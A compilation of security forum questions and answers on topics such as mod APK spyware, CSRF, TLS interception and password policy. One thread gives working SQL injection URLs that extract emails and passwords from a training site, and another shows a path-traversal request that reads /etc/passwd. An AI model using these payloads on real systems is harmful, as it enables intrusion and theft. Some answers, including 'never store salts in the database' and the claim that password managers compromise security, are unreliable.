Do android spyware apps comes attached with games or mod apk files? I have installed several mod apps of Netflix, amazon prime, games apk from google in android v10. Can spyware be installed through these apk. these apps have not taken much permissions from me they only take permission of storage. I have also shifted to android 11 and and also resetted my phone twice. Do any kind of spyware may exist in my phone?

Generally, apps on Android are very limited in terms of what they can do to other applications and the system. In order for other apps to be installed by your app, you would have to specifically grant the app permission to do so (in Android 11), and you would see prompts about all that anyway. So unless you blindly clicked on prompts and changed settings, nothing else was probably installed.
As pointed out by @yeah_well, it is much more likely that the app itself is spyware. But if you are comfortable with the level of permissions you have granted to it and accept the risk of using it, then there is probably not much to worry about.


How was this token decoded? I've read this interesting comment (about the security level, or lack thereof of some website built by a prominent chip manufacturer, an interesting discussion by it's own virtue, but not my question)

Here is the comment (the bold section is my addition)

  So I thought I'd test it out a little more. Pretended I'd forgotten my password. Pressed the link and it said 'Password emailed'.
  Turns out it's not as bad as that! I wasn't emailed my password. I was emailed a link.
  http://appcenter.html5tools-software.intel.com/csd/ForgotPas...
  That's fine. So there's this unique token that means only I can reset my password... Except... Let me decode that token...
  EYl0htUzhivYzcIo+zrIyEFQUE1PQkk= -> t3+(:APPMOBI
  So does this mean I could reset anyone's password, given their email address?
  Anyway I went to the page and put a new password in (trying to follow the unstated rules found previously). When I pressed submit, the page darkened and I was told 'Error 500'.
  Tried again with a new password and was told 'Password must contain one of the following !@#$% special character[s].[sic]
  Well, I was told it for a second, but the message went away really quickly, so I had to keep submitting the password it didn't like until I'd remembered what the characters it required were.
  Anyway the password reset link doesn't appear to expire, so if you fancy logging in to Intel AppCenter as me, just reset my password. I can always reset it back if I want to use it.

My question

It might be very naive of me, but how did the OP decode this random string? How did she/he know how it was encoded? Is there a naming convention when someone say they "decoded" something which is implied here? I mean it can be encoded in so many algorithms, how did the OP know which algorithm it was encoded with?

Is there some "first thing you check" when decoding something since it's the most commonly used method?

What algorithm was used to decode it?

Base64 encoding encodes arbitrary data into an alphabet of mixed-case alphanumeric and 2 symbols (frequently + and /) with padding of between 0 and 3 = symbols. It's pretty easy to recognize a string that matches these characteristics, especially the = at the end.


Why does Firefox claim that my connection to Google is insecure? I keep receiving this message whenever I open any site from Google:

My Firefox is up-to-date, and so my Windows 8.1. Since I don't know much about HSTS, I don't know what's going on, and obviously, I can't google it.

Using a VPN doesn't solve the problem. I am using Kaspersky Antivirus.

Kaspersky, like most AV products these days, is performing a local MITM against your secure HTTP traffic. It does this in order to be able to scan payloads in HTTP transactions, be it in the request or the response.

In order for this to be done correctly, Kaspersky has to generate its own root CA certificate, and generate spoofed certificates on the fly, feeding them to your browser. Kaspersky also has to install this CA into your operating system's Trusted Certificate store.

The reason why it needs to install it into the OS certificate store is because this is where most software looks to validate that the Certificate Authority who has issued the certificate it has received is a valid, trusted Authority. If that authority is not there, boom, you get this error.

FireFox is the only mainstream web browser that is paranoid. It refuses to trust your OS's cert store, precisely because its so easy to simply install a fake CA into it and start MITM'ing peoples connections. Instead, FireFox is distributed with a complete list of all CAs that Mozilla trusts.

What's cute about this is that it's not actually adding any security whatsoever. You can simply compile the open source Mozilla NSS package and, included in it is a utility called CertUtil that can transparently inject certificates, even root CAs, into FireFox's trusted cert store. This does not require the user to accept it, nor does it even alert the user that this has happened. You can see how easy this is to do in a C# function I wrote here.

So what's happening here is that Kaspersky is not properly MITM'ing FireFox, so when FireFox gets fed certs issued by Kaspersky's CA, it's throwing all the alarms and screaming at you that you're under attack.


Why OpenVAS does not find all open ports compared to Nmap? I recently launched a system discovery scan with OpenVAS to an IP from my net to compare its results to Nmap. As you can see in the image OpenVAS does not find all the ports Nmap does.

Both scans were all TCP ports scans. Also, both tools are installed in the same Ubuntu machine inside the same net as the scanned IP.

Why does this happen?

After studying and analyzing data from packet captures of both scans I discovered the answer. Apparently, OpenVAS works this way:

1) TCP 3way handshake on port

2) OpenVAS asks different famous protocol questions (HTTP, telnet, etc.) to get an answer with data (banners).

3) If it does get answers, it will create a report with all that data and say its open.

3)If it does not get an answer for them, OpenVAS will say its closed as he cannot give further data about the service the port is running.

So, what happened with ports 27000, 49154, 50095? These ports have very rare services running therefore OpenVAS did not ask questions for those specific and not usual protocols. As a result OpenVAS did not get answers and gave those ports as closed.

On the other hand Nmap just needs a succesful 3way handshake to give a port as open and like OpenVAS, Nmap did get 3way handshake for all those ports and did not try to get further data.

I hope I explained myself well enough. Thank you all for your help and advice.


Does Google account's "recovery phone" have any benefit if I never forget my password? Google lets you add a recovery phone number to your account because:

  Your recovery phone is used to reach you in case we detect unusual activity in your account or you accidentally get locked out.

Thing is, I'm not sure what scenarios they have in mind, but I don't see how I could "accidentally" lock myself out or forget this account's password. It's my main account; I use it on a daily basis. And as for "unusual activity", Google only seems to send a warning after someone has logged in, not before. But if someone hacks my account and log in to it, then it's going to take them 10 more seconds to remove the recovery phone, so by the time I even realize what happened, my phone is going to be useless.

So my question is, if I'm following "proper" security practices (i.e. my passwords are strong, I'm using a password manager and 2FA, etc.), then should I really ever have this enabled?
The benefits seem to be minimal if any, and the downsides comparatively enormous (e.g. if someone steals my phone, that person is going to have another channel for attacking my Google account).

Remember that your google account is not only your email. It is everything linked to your google account, form mobile devices, to various applications you are using.

So, you could get locked out due to some app or add-on misbehaving. like Receiving, deleting, or downloading large amount of messages in a short period of time. Or simultaneously logged in/sync synchronizing Gmail on many devices and/or clients and/or locations.

I would say most possible scenario for your case is mis-typing your password in an application that would keep trying to login (particularly if you are in the middle of developing this app) for example.

A second possibility is if you have just changed your password with a new clever one that made sense at the time but next morning  you are not sure if it has a “.” or “_” in it or none at all.  Even though you use your account all the time I assume you are like the rest of us: you do not logout of your account every time you use it and you do not really type in your password all the time.

Now that I addressed the scenarios part of your question, allow me to address the bigger picture here:

You are looking at the problem backwards: your phone is the most important, physical authentication item in your life. If it is lost or stolen AND you didn’t have it locked/password protected then the person who has your phone (until you remotely wipe it and block it) basically owns your life and there is nothing you can do about it. You can lookup many articles on the subject.  Not to mention that if someone used your phone then they already have access to your email accounts because I assume you have them auto-logged in for your phone to check new emails etc.

Conclusion: having your phone number for recovery does not compromise your security because if someone has access to your unlocked phone they already have access to your accounts, no need for recovery phone number…. If your phone is locked, then they have nothing.

A couple of notes I would like to add:

1)  The phrases “use password manager”(as in a program/service that saves your passwords) and “proper security practices” (in my opinion) do not fit in the same sentence. If you use a password manager you have already compromised your security

2)  If you are already use 2FA then you already provided the phone number.


Can the attacker view the response from a CSRF attack request? In CSRF attacks, the attacker crafts a specific request and convinces the victim to visit the page.

I have a doubt in one scenario. Suppose if the victim visits the page, and clicks on the button, there is a certain information disclosure like password etc. But the response is visible only in the victim's context.

Is there any way such that the attacker can view the response generated when the victim clicks on the button?

Is there any way such that the attacker can view the response generated when the victim clicks on the button?

No, not in a pure CSRF attack. The direct effect of a CSRF attack is not information disclosure. It is tricking the server to perform some action. Examples of CSRF attacks would be:

Delete a post by directing a CSRF attack at example.com/posts/delete.php.
Changing the victims email to the attackers by tricking the victims browser to send a POST request to example.com/user/update.php.
And so on...

The thing here is that the attacker doesn't need to read the response. As long as the server deletes the post or changes the email or whatever the attacker wins. A side effect of that could be some kind of information disclosure, but that is not the primary effect.

On a side note, the attacker doesn't have to trick the victim into clicking a button on the attackers page. All she has to do is trick the victim into visiting the page, the rest can be done automatically in the background with javascript.


What's the best encryption strategy to go with when everybody needs to be able to write data but only a select people can view it? I really just need an encrypted support ticket system essentially. The user who writes the ticket doesn't need to be able to view it afterward but a handful of staff need to be able to decrypt the data and view it. My backend is Firebase (using Firebase Authentication as well) and the users will be submitting information via the mobile app and the staff will be viewing the information on a web app. Ideally, the encryption/decryption would be done on the client-side.

It sounds like systems design for email encryption would give you the security properties you're looking for. The two big email encryption systems are PGP and S/MIME. The details differ a bit between them, but in both systems you create a public key and private key pair; usually you associate the public key with an email address, but you don't necessarily need to; they are just formats for encrypting files and don't need to be used with email.
Given that both PGP and S/MIME are so common, I'm sure you can easily find open source implementations that you can integrate into your Android and Web clients. I have no idea if that is something supported by Firebase, or if you'll need to build a custom add-on, that part of your question is a bit out of scope for this site.
The idea would be to create an encryption keypair and distribute the public key to all the clients (for example, maybe you embed the public key in the mobile app) and the client encrypts the content for that public key using PGP or S/MIME file format, and send the encrypted data to the server. Store them on the server encrypted. Employees who are authorized to view the tickets can be given a copy of the private key.
Counter-arguments against this suggestion:
There is some devil-in-the-details to think about here, like you need to be careful not store the decryption private key on the same server as the encrypted data or else an attacker could steal both at the same time and defeat the whole purpose. You also want to think about how to revoke access to an administrator if you need to, which will be a bit hard to do with this design.


MITM my own SSL connections with e.g. wireshark - no proxy I'd like to investigate some SSL (https?) traffic coming from one of my computers. The problem is that I don't know for sure which program it comes from, and I most likely can't make it use a proxy (so tools like Fiddler or Charles won't work). However, I believe the program creating the traffic does not check the validity of the certificates. Even if it does, there is a good chance it respects the system certificate store, so I could put my own root in there.

Can I make wireshark (or any similar tool) somehow accept each SSL connection with a fake certificate, unpack and show me the data, and then open another SSL connection to the remote host? Preferably this technique should work on Windows.

(Similar other questions on this site assume that I can either configure the program to be MITMed (by setting a proxy) or that I can capture some secrets from the SSL sessions. I want to inject fake certificates into all outgoing SSL connections, live.)

Wireshark alone does not do that, it can only watch the traffic if you already have knowledge of the keys/certificates in order for it to decrypt the traffic in the TLS connection. There is a type of proxy, a transparent proxy, that applications have to use because they sit on port 80/443 of the gateway and simply intercept all traffic.  This would be the approach you need if you want to be privy to the traffic involved in your mystery application.

If you wanted to stick with Wireshark, you could use a simple transparent proxy (with something like Squid) to hand it your own certificate and then watch the traffic and let wireshark decrypt it.  There are tutorials but it is slightly complex.

What you want is encompassed by a single product called Burp Suite, it will let you intercept the traffic (acting as a transparent proxy which the application cannot ignore) inject your own certificate, watch the resulting conversations, etc.

See the product page for more info: https://portswigger.net/burp/


How did the Tweetdeck XSS vulnerability work? How exactly did the recent TweetDeck vulnerability work? It says here that it had something to do with the HTML heart character but I don't fully understand what the explanation means. From the link:

  " I was tweeting about the HTML-heart-symbol (♥), because I didn't
  know that this is possible," He told The Register in response to
  questions via email.

  TweetDeck is not supposed to display this as an image. Because it's
  simple text, which should be escaped to '♥'. But in my tweet I used
  the Unicode-character of the heart as a reference for my followers.

  There were two hearts. One was black (at the position where the ♥ was
  supposed to be) and one was red (this one was the Unicode-char and got
  replaced by TweetDeck).

  So, I started to play around, and discovered, that the Unicode-Heart
  (which gets replaced with an image by TweetDeck) somehow prevents the
  tweet from being HTML-escaped. So I used a strong-HTML-tag to verify
  this ... It worked.

  So I wrote a little script which displays a popup and then blocks
  itself. It worked."

What exactly was the attack vector here? And how did it "somehow prevent the tweet from being HTML-escaped"?

This attack worked for a very simple reason - TweetDeck did not sanitize the user input at all under some circumstances. The attacker did not discovered a clever way to fool the XSS filter. Instead he found a a way to turn it off. As your quote says:

  So, I started to play around, and discovered, that the Unicode-Heart (which gets replaced with an image by TweetDeck) somehow prevents the tweet from being HTML-escaped.

Apart from the obvious fact that the person who wrote the code was not very good at his or her job, we can only speculate why a unicode heart would turn the filter off. My guess is that they wanted to render the heart with an <img> tag, and that the tag got caught in their own filter. So they did an easy solution and just turned the filter off when they needed to insert HTML into a tweet.

But that is just a guess. To know for sure you would have to ask them, and I doubt they would answer.

So all he needed to do after the discovery was to write some JavaScript to do the automatic retweeting, slap a heart at the end, and tweet it. If you have enough followers who are using TweetDeck, it will spread by itself from there.

Some good non-technical explanations:

"The Thought Box" blog
Computerphile video


How can I find out if a unwanted file I got on my USB Stick in the university lab is harmful? What do do now? I'm using Ubuntu, I detected a file called "yveqsh93.exe" after plugging my USB into a heavily used Windows XP machine in one of the labs of my research group at university (Controlling some lab equipment).
This file was labeled as a trojan by VirusTotal
How do I act now? I immediately disconnected my Password vault from my Ubuntu machine. But maybe I've been too late already! I'm changing my Master Password via my phone now.
Can I get a virus scan for Ubuntu or is this .exe only harmful to Windows any ways? I'm a total noob with these things.
Do I need to inform the admin at the university? I'm only a visiting student there and don't want to make any trouble.

It's a Windows program, it won't magically execute on Ubuntu. And don't bother informing the administrator at the university, most client-facing computers on universities are either locked down hard, or heavily infected.
You don't need to worry about your Ubuntu machine. Unless you have wine installed, and ran that executable by hand, it cannot damage your computer. But you'd better copy your files elsewhere, delete everything from that USB drive, and copying the files back. Not to protect you, but to protect any Windows computer you plug that USB drive later.


limiting automated domain creation by malware As we know most of the malwares create thousands of domains and subdomains using DBA for setting C&C communications. The domain names are controlled by Internet Corporation for Assigned Names and Numbers (ICANN) at the top level. Is it feasible for ICANN to ask all registrars for integration of OTP (One time Password) for domain registrations. Which means for each domain registration , the registrar would send a OTP to a mobile and domain will get registered only after OTP authentication.
This should put limits on automated domain registrations as well as can provide a trace to registered mobile number.
Is this feasible to implement ?

I'm not sure you've quite understood how DGA implementing malware works. It doesn't actually register the domain names - it just generates them, and attempts to contact a subset of them.

The malware author can generate the same list, and pick one or two to register, and then the malware may connect to the registered ones in attempted to update - this usually isn't a certainty. For example, according to Wikipedia, Conficker.c generated 50,000 domain names per day, then attempted to access 500 of these (e.g. 1%), looking for a specific response. The malware author would only need to register 1 of those 500 to be able to update, which wouldn't be arduous, even with a OTP scheme as suggested.

This wouldn't give any certainty that a given instance of the malware would be updated on a given day, but given a long enough infection period, and a widely spread malware distribution, enough instances are likely to be updated to continue to cause problems.

What could be feasible would be for a domain registrar to prevent registration of any domain generated within known malware. However, this would probably encourage malware authors to adopt different techniques - perhaps by checking whether a domain can be registered, and activating if not.


Reason to ban digits as first character in passwords? When I sigend up for a service by DHL (German parcel delivery service), they had the strangest password guideline I have seen so far:

At least 8 characters but no more than 13.
Only usage of “valid” characters. The given characters did not include ' or " or ; or \ which are the things I would try to use in a SQL-injection first.
At least one uppercase and lowercase letter.
A digit, but not at the beginning.

Why would one ban a digit as the first character? In a perfect world, they would salt and hash the password using bcrypt or scrypt and all those restrictions on the upper bound of entropy could be easily lifted. Apparently they have a weak storage system like VARCHAR(13) or a sad mix of legacy code and cargo cult management.

I still cannot get my head around the rule about the digit not appearing at the beginning of the password. Why would one do that? The only thing I can think about is that PHP evaluates the expression "1Test" == 1 to true. Otherwise identifiers in programming languages also must not start with a digit. Perhaps this is the origin of the “valid charcters”?

Can one guess what DHL is doing in the backend?

Is it possible that you're over thinking it and they are just trying to weed out a lot of common easy-to-guess passwords?


Best hash for indexing and searching encrypted data I would like to be able to do database look-ups on a set of data based on one of the encrypted fields.

My understanding of the best practice for accomplishing this is to store a hash of the data I want to look up in addition to the encrypted version.

If this were a password I was hashing, I would make sure to hash each value with a distinct salt, but since I won't know what record contains the hash I'm looking for in this case this doesn't seem feasible.

What are the best practices in this situation for protecting my data?

(p.s. one of the fields I need to search by is SSN, which seems like it would be one of the easier values to create a rainbow table for)

So first warning first:

  If data is secure, it cannot be searched against, only checked
  against.

Now regarding searching: There is no good way to search encrypted or hashed fields, it will ALWAYS eat up CPU. There is a reason for this: Your data is in a one way street. It gets retrieved into memory, checked against, the in memory version destroyed, and the entry minus the data you can't send gets sent. This is for security purposes as well as attack proofing purposes. So then it begs the question "How do I search against it?" Literally an entry at a time. Because each hash or encryption should be unique and never repeatable unless checked against with the initial value, you have to retrieve every encrypted object, go through them until you get a match, and then return the id or pkey of that entry. Is this long, drawn out, annoying, and secure? Yes. Can this be done faster or better? Not really.

More Warnings:

NEVER STORE A RAINBOW TABLE! Those are easily cracked vulnerabilities(Don't believe me?)

NEVER STORE SALTS IN THE DATABASE! If the data as a whole gets stolen, this encryption is now worthless

If the data needs to be *truly secure**, hash it through a one way hashing algorithm(like bcrypt)

IF you MUST search against encrypted data, use a separate decryption program to decrypt the data, do the search, and send it back again in a compiled, standalone binary app. This way if the public facing server has an unwelcome visitor, they can't get that data at all, the key is still secure, and your data is safe.


Access an ftp server gives me the passwd file though no shadow I have gain access to a server via ftp which is showing me the passwd file with 2 users via ftp://1.2.3.4/../etc/passwd

output is:

root:*:0:0:root::
ftp:*:109:117:Anonymous FTP::

As such the shadow file is not available and doesn't give the same response changing the url to X/../etc/shadow

Is it possible to obtain the shadow file, or might it not exist meaning that no root access is possible?

On typical systems, the file /etc/passwd doesn't actually have passwords in it, but rather shows the mapping between usernames and user IDs. In order to see usernames in any directory listing or other context, you must have access to that file. Otherwise you can't tell which username a given UID matches to.

In your case, the server isn't giving you access to anything even remotely important. Instead, you've been stuck in a chroot environment where your process can't see out of its own little sandbox. Nothing in there is security-sensitive.

But as mentioned, without access to the passwd file, you can't tell which user owns a given file, right? So they make up a passwd file just for you. It lists "root" at UID 0, and you "Anonymous FTP" at UID 109. And nothing else.

There are other users on the system, of course. You're not seeing the real passwd file. And there are other files and processes and all sorts of interesting stuff. But that's outside your sandbox. As far as FTP is concerned, all of that stuff doesn't even exist.

See: chroot.


Is it feasible to use DNS query packets as a reflection tool in public WiFi environments? It's common sense that DNS query packet can be used to establish convert channels. But in my experiment of DNS query reflection, where I send out DNS queries with spoofed source IP and MAC address to primary DNS server, the victim machines don't receive any response from the DNS server.

Could it be that my spoofed packets are recognized and discarded by the hotspot? But I'm really confused how such recognition would be possible, given the forged MAC.

My experiment environment is a hotspot system over DD-WRT router.

If you are spoofing an IP address that is outside the range of valid IP addresses in the subnet:

Ever since the plague of spoofed IP address attacks in the 1990s and early 2000s, the best current practice is to configure routers to block IP packets with source addresses that are not supposed to arrive through the interface through which they came. The hotspot or an upstream ISP router is probably applying such filtering.

If you are spoofing an IP address that is inside the range of valid IP addresses in the subnet:

Then the above BCP38 does not apply, but it is perfectly plausible for the hotspot to be keeping track of which IP addresses have been assigned to which MAC addresses by its integrated DHCP server and enforce a policy that only MAC addresses that have gone through the DHCP process are allowed to transfer (non-DHCP) traffic and then only using the IP addresses that they were assigned.


Difference between Symmetric and Asymmetric encryption I was watching this short video and apparently every time users open an HTTPS connection, a handshake between client & server happens. They interchange the public keys, keeping the private keys.
On each side, the public-private key pair is generated using an algorithm called RSA. Private key can't be derived from public key, nor open messages it itself encrypts.
I know this is just the surface.
Then, these keys are used to sign messages, that only the private key can open.
That's sort of easy.
But something in this process is called symmetric encryption, and something asymmetric, I just can't identify that.
Can you help me?

The underlying protocols used for HTTPS are SSL3, TLS1.0, TLS1.1, TLS1.2, etc.  Each of these have a different way of exchanging keys, so there is not a one-size fits all answer to this question.
However, in symmetric encryption, the message is encrypted and decrypted using the same key.  In asymmetric encryption, the message is encrypted using the public key, and the private key is used to decrypt the message.
But, in practice, a sender typically does not use the recipient's public key to encrypt a message (using asymmetric encryption) directly, because this takes a lot of computational resources.  Instead, the sender generates a symmetric key on the fly, then this symmetric key is used to encrypt the message (using symmetric encryption).  Then, the symmetric key is encrypted using the recipient's public key (using asymmetric encryption) and this encrypted symmetric key is sent to the recipient along with the encrypted message.  On the receiving end, the recipient decrypts the encrypted key using his private key, then uses this key to decrypt the message.
See http://www.moserware.com/2009/06/first-few-milliseconds-of-https.html for an excellent walkthrough of how all of this works in TLS1.0.  Even though this was written in 2009 and TLS1.0 has long been outdated at this point, you'll probably find this blog post to be very instructive if you're trying to get your head around these concepts for the first time.  Once you're comfortable with this, have a look at https://tlseminar.github.io/first-few-milliseconds/, which is based on TLS1.2 (which uses a whole different method of key exchange, based on elliptical curves).


Received SMS/MMS with suspicious link - what to do now? I today received a personalized sms on my android phone which:

addresses me by my first name
is labeled sms/mms
claims to be from a contact with a first name which I do not have in my contact list, but with whom I had a call 2 hours before
answering is not possible like in other sms (keyboard not shown)
contains a suspicious link on .ms domain

Questions:

What should I do now?
How can I find out more about the sender?
Am I infected already just by opening the sms (not the link)?

You are not yet infected, but opening the link will most probably infect you (or attempt to).

What you should do open and analyze the link from a secure container (this is how you find more info on what's there and what the purpose of it is) and delete it from your device.


iOS and Facebook Messenger security If the same Facebook Messenger account is opened on my device and on another device, and my device's Messenger app is allowed access to photos, can my device's photos be viewed or hacked on the other device?

No, another device cannot access your device's files/photos. That would require the other device to browse your device's files.


How to extract data from hackyourself legal site with table and column information? I am following the Pluralsight SQL injection tutorial. The instructor did not go over actually extracting the data.

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'AND 1=(SELECT TOP 1 name from (SELECT top 1 name from sys.tables order by name) t order by name desc)--

I tried running injections like:

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'union select Email FROM UserProfile--

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'union select top 1 Email FROM UserProfile--

I get this error:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

So I thought oh that's right the columns need to match the query Cylinders=V12. I believe that would be one or two. So I changed my query to:

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' UNION SELECT Email, FirstName FROM UserProfile;

I get this error:

Cannot resolve the collation conflict between "Latin1_General_CI_AS" and "SQL_Latin1_General_CP1_CI_AS" in the UNION operation.

How would I go about extracting data when I have table and column information?

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' AND 1=(select top 1 password from UserProfile where UserId=(select top 1 UserId from(select top 1 UserId from userprofile order by UserId) sq order by UserId DESC))--
http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' AND 1=(select top 1 Email from UserProfile where UserId=(select top 1 UserId from(select top 1 UserId from userprofile order by UserId) sq order by UserId DESC))--

I found the solution. Now I KNOW what error-based SQL Injection really is.


Is it a good idea to preventive use a robots.txt that disallows all search engines to index query strings in order to slow down reconnaissance? I know that robots.txt is not a security feature. But, indexed and cached information by search engines might be incredibly helpful in the reconnaissance phase of a penetration test and potentially for automated vulnerability scanners.

Let alone the fact that it's better not to expose query string, in source-code nor in a robots.txt file or anywhere else, in some cases to disallow search engines to cache content and that it's possible to guess (read: brute-force or check common) parameters.

Now, is it a good idea to preventive use something like the following robots.txt file:

User-agent: *
Disallow: /*?*
Disallow: /*&*

In case the source-code does show a reference to parameters in the URL you disallow all search engines specifically to index them. Then, finding the parameters in the reconnaissance phase is still possible (but slightly harder) but at least when that is fixed, the stuff won't be cached.

After content is cached, indexed and measures are taken to hide the query parameters (like rewriting URLs, the previously used parameters should be renamed in order to prevent them from being easily found or misused.

My point is, everything can be hacked, it's just a matter of resources (time, technically, effort and skills). Making things too easy will allow a attacker to use less resources. When the parameters in URLs are not indexed, it takes more time to find them since the source-code has to be inspected or site has to be crawled. So, is some kind of robots.txt like above, a do or a don't and why?

Last but not least, should we recommend developers (or is it a good practice) to do so?

No, this adds no real security value.

Depending on the approach of your attacker, the first thing he might do is fingerprint the server and libs and do a crawl of the whole site himself (that's what I would do if the point is to find a vulnerability in the code).

Crawling a site like this is extremely trivial (and easily automated), so the gain is negligible. Also, in the afore-mentioned scenario, I would not use search engine data as I would want to be sure that the stuff I'm working on is "the real deal", not a cached version from some hours, days or whenever ago.

Finding parameters is 0.001% of the job. It is exploiting them that is harder. Slowing hackers on that task has no added value.

(Also, you would lose value SEO-wise but I understand that this is not your concern)


Can an attacker sniff Mac addresses on a wifi? If an attacker turns on wifi but doesn't have the security key to connect to an access point in range, can he still sniff packets that travel between the access point and clients connected to the access point, and thus get the Mac addresses of the clients? If the access point is a public wifi and there is no security key but there is Mac filtering, does that make a difference?

An attacker can always determine the client's MAC address if they can sniff packets to or from the client.  This is true regardless of whether encryption is used or not.  The MAC address is in the outer encapsulation layer of the 802.11 packet, and there is no encryption applied to that level.  Here's a good link at Microsoft that lays out the packet encapsulation, including where encryption happens in 802.11.

This is kind of the expected result.  By definition, the physical and data link layer information has to be openly available to other network devices so that they all can figure out who's supposed to send what where.

Standard tools like Netstumbler will display MAC addresses for you.  Your followup question will be "But doesn't that make it trivial to bypass MAC address filtering as a security measure on the AP?"  And the answer is, yes.  Yes it does.


Practical applications of NIST new password policy I have previously asked about the application of the NIST Special Publication 800-63-3 (password policy). Password Policy

Without a simple way to add a password blacklist to AD, what are the common strategies for implementing these recommendations ( https://pages.nist.gov/800-63-3/ ), in the real world? I am trying to rewrite the internal password policy but without this (what is seemingly an integral part) I'm not sure whether a hybrid policy would be better?

Other strategies would not only be difficult to implement, they might be  counter to the intent of NIST 800-63b. Fortunately, there are multiple blacklisting solutions, so you probably don't need (or want) another strategy.

Here's my reasoning.

First, to summarize from 800-63b, section 5.1, the portion about verifiers (such as passwords) that are directly applicable to checking the quality of the user's password.

Required:

Authenticators (passwords) must be:

Minimum 8 characters

Authenticators also checked against blacklist using "values known to be commonly-used, expected, or compromised" (the core of your question) - at least one of:

Passwords obtained from previous breach corpuses
Dictionary words
Repetitive or sequential characters (e.g. ‘aaaaaa’, ‘1234abcd’)
Context-specific words, such as the name of the service, the username, and derivatives thereof

If found in blacklist:

advise the subscriber that they need to select a different secret
provide the reason for rejection
require the subscriber to choose a different value

By my reading, the intent of 800-63b section 5.1 appears to be:

Prevent users from using blacklisted passwords in the first place
Train the user to understand why the password choices were poor

If this isn't possible via the password-changing interface directly, other strategies would require imposition of those goals via human policy. This would require:

A separate way for users to look up passwords in the blacklist. Since the Windows password-changing interface is dedicated and isolated by design, providing a digital way to do this would be tricky (and printing a book instead would be a usability and maintainability nightmare!)
A way to audit for compliance after the fact (by cracking the passwords using the blacklist as a dictionary). You should be doing this anyway ... but in this case, I believe that it defeats the purpose of the NIST guidance (to ensure that the blacklisted passwords are never used in the first place)

Fortunately, you don't need another strategy, if you only need to do the following:

Verify minimum length. The stock AD complexity requirements allow this already.
Implement blacklisting. There are both commercial (Anixis, etc.) and FOSS (https://github.com/jephthai/OpenPasswordFilter) solutions.

In other words, alternate strategies are not only not needed -- they would be impractical, provide a difficult user experience ... and may not actually be defensibly conformant.


Purpose of having a identifier on a password reset communication A particular service I use, when asked for a password reset, showed me an identifier on the website - something like 4562708546, apparently random or sequential.

They then sent me a new password over snail mail. Besides the (plaintext) password, the letter I received contains the identifier (4562708546), and asks me to verify that it is the same as the one the website showed me. The letter doesn't contain the username.

I've thought a bit about this, and can't figure out why they do it:

Only a single letter was sent, so a MITM interested in learning the password doesn't need to know the identifier to know the correct password
It could prevent accidental malfeasance in case a user receives a letter meant for someone else - but they would have no way of logging in without knowing the other person's username in the first place. And if they know the other's person username, it's probably not accidental.

What could be the purpose of such verification?

It allows to identify the password reset attempt

Suppose that you request a password reset (new password: "12345"). However, the reset email is slow to come and, after waiting for some time you conclude if failed and make a second attempt (new password: "67890").
Meanwhile, the first email arrives. You open the password reset email and it tells you to enter the password/token "12345" in order to recover your account. However, and to your frustration, it simply doesn't work, complaining that it is invalid (but you have their email in front of you!) due to the fact that -unbeknownst to you- it is now expecting "67890".

If there was such identifier (and you compared it), you would be able to notice that it is not the same attempt, and wait for the second email to arrive. Even if you had received both emails, the identifier could allow you to select the right one.

Personally, it doesn't seem a very appropriate method. I would recommend providing a timestamp instead. The password reset email should contain the timestamp at which the reset attempt was made for logging. Mentioning “make sure that the email is for the reset request at xx/yy/zzzz hh:mm:ss” would be much clearer.

Another option is that it is intended to avoid people following links on fraudulent password reset emails. But if you didn't make such request then, by definition you would not have any to compare with, and thus I doubt it protects you from anything.

PS: Additionally to the above, they should be emailing tokens, not passwords (or at least forcing them to be changed on the next login)


ISP owned firewall appliance? I was recently visiting a remote office in Hong Kong. Their ISP has provided a Juniper Firewall which was installed at the ingress/egress point for the internet. I have requested a copy of the config to see what it is actually doing. We have our own firewalls after the ISP's firewall.

I'm struggling to think of a reason as to why an ISP would require a firewall appliance on a customers site. Although I'm not familiar with how ISPs in Hong Kong operate.

Has anyone had any experience of this, and could there be a need for an ISP to provide a their own firewall appliance?

It certainly isn't common though not entirely unheard of.

In the UK for example, there is a specialist health WAN where the ISP provides pre-configured router/firewall infrastructure that meets the set requirements of the network's code of connection. However, the COCO is set by a central body not the ISP.

You would need to look at the contract.

In general, you would never really trust such a setup unless you have direct access to the configuration and any logs. You would also want alerting for any changes and probably would want to audit the configuration at least annually.


What information can WiFi devices leak without actually connecting? Mr Paranoid walks from one secure location to another. Mid-journey, he panicks -- his wireless device (laptop, iPad, or other common consumer electronics) is turned on! If it sent any information to an enemy-controlled access point, the enemy could identify him, or become aware of the fact that he is in this location, or perhaps deduce this from the fact that someone was in this location and everyone else is accounted-for! Oh no!

His WiFi device is some off-the-shelf 802.11 item, its software does not establish any connections automatically, but it was turned on and at the very least it was listening for access points.

The enemy has not installed any specialist detection hardware, but can run their own software (rootkits or whatever) on any other people's standard WiFi access points that happen to be in the area.

Will Mr Paranoid's device send any messages to these access points, or can it be tricked into doing so? Can the Enemy track Mr Paranoid in any way by virtue of the fact that his WiFi is turned on?

Mr. Paranoid's device will do two things to scan for networks: passively listen for beacon frames and send probe requests to a null BSSID. The second technique is active and therefore detectable. Windows 10 (1611) and iOS 8, for example, randomize the MAC addresses used in these probes to decrease the ability to track users, but one could certainly detect that someone was probing for APs.


What is the best defense for a multi-layered attack: Spoofing, MiTM, Login CSRF? How would one go about defending against this sort of attack to best protect a sloppy user? There can be obvious signs of a spoofing attack, such as not using SSL, slightly different domain, etc, but I am assuming Tristed.com (the malicious site) has completely fooled the user. The only mitigation that comes to mind is having automation prevention built in, like Captcha. I don't know if I am completely missing something here, so apologies in advance. I have abstracted a lot of detail for the sake of keeping the diagram simple.

A good security measure for this is having a navigation proxy in place that block suspicious websites.

In this case maybe tristed.com have been created recently or is unclassified or directly suspicious and a navigation proxy may block or alert against it.

Similarly may be a DNS solution may find the URL suspicious and block it by resolving to a sinkhole IP.


Conky for PenTesters I have been working on a conky configuration to help me manage penetration tests, but after much research, I cannot find anyone else speaking of their configs in any way other than the glitz.

Currently, I have:

CPU load
Memory load
top processes
networking summary
dashboard of pre-selected running services (ftp, tftp, www, p0f, wireshark, ettercap)

What I really want is to monitor all incoming connections, but localhost keeps getting in the way (metasploit connecting to postgres, msfrpcd, etc). Does anyone know how to filter out localhost from tcp_monitor?

